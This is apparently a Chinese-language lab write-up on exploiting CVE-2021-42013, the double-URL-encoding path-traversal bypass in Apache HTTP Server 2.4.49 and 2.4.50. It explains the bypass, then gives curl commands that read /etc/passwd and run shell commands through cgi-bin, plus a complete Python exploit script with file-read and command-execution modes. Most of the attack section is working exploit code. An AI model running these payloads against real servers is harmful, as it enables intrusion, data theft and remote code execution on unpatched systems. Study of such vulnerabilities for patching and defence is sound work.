CVE-2021-42013 Apache HTTP Server 路径穿越绕过漏洞利用总结

漏洞信息

项目 内容
CVE编号 CVE-2021-42013
漏洞名称 Apache HTTP Server 路径穿越绕过漏洞
影响版本 Apache HTTP Server 2.4.49、2.4.50
靶场版本 Apache HTTP Server 2.4.50
漏洞类型 路径穿越 / 任意文件读取 / RCE
靶机地址 http://192.168.229.60:8080

漏洞原理

CVE-2021-42013 是 CVE-2021-41773 的补丁绕过。

  • Apache 2.4.49 存在路径穿越漏洞,可通过 .%2e 绕过路径检查

  • Apache 2.4.50 对 .%2e 进行了修复,但修复不完整

  • 攻击者可以使用 双重 URL 编码 .%%32%65 绕过补丁检测

  • 同样,如果开启了 mod_cgi / mod_cgid,可进一步实现 RCE

绕过链:

复制代码
%2e → .  (单次解码)
%%32%65 → %2e → .  (双重解码)

攻击步骤

Step 1:验证服务

复制代码
curl -v http://192.168.229.60:8080/

预期:HTTP 200,页面显示 It works!

Step 2:路径穿越 --- 读取 /etc/passwd

复制代码
curl -v --path-as-is 'http://192.168.229.60:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

预期:读取到 /etc/passwd 文件内容

Step 3:RCE --- 命令执行

复制代码
curl -v --data "echo;id" 'http://192.168.229.60:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

预期:返回 uid=1(daemon) gid=1(daemon) groups=1(daemon)

Python版完整利用脚本

复制代码
#!/usr/bin/env python3
import requests
import sys
​
TARGET = "http://192.168.229.60:8080"
​
def read_file(path):
    """任意文件读取"""
    url = f"{TARGET}/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65{path}"
    r = requests.get(url, allow_redirects=False)
    if r.status_code == 200:
        return r.text
    return None
​
def exec_cmd(cmd):
    """RCE 命令执行"""
    url = f"{TARGET}/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
    r = requests.post(url, data=f"echo;{cmd}", allow_redirects=False)
    if r.status_code == 200:
        return r.text
    return None
​
if __name__ == "__main__":
    if len(sys.argv) > 1:
        # python3 exploit.py exec "id"
        if sys.argv[1] == "exec":
            print(exec_cmd(" ".join(sys.argv[2:])))
        elif sys.argv[1] == "read":
            print(read_file(sys.argv[2]))
    else:
        # 默认:读取passwd + 执行id
        print("=== /etc/passwd ===")
        print(read_file("/etc/passwd"))
        print("\n=== id ===")
        print(exec_cmd("id"))

关键要点总结

  • ✅ CVE-2021-42013 是 CVE-2021-41773 的补丁绕过,影响 2.4.49 和 2.4.50

  • ✅ 使用 .%%32%65(双重URL编码)代替 .%2e 绕过路径检查

  • ⚠️ %2e.%%32%65%2e.,Apache 只做了一层解码校验但两层解码处理

  • /icons/ 必须是一个存在且可访问的目录才能触发穿越

  • ✅ 需要 mod_cgimod_cgid 模块开启才能 RCE

  • ⚠️ CVE-2021-42013 还有更多变种:%%%32%65.%%32%65 等不同编码组合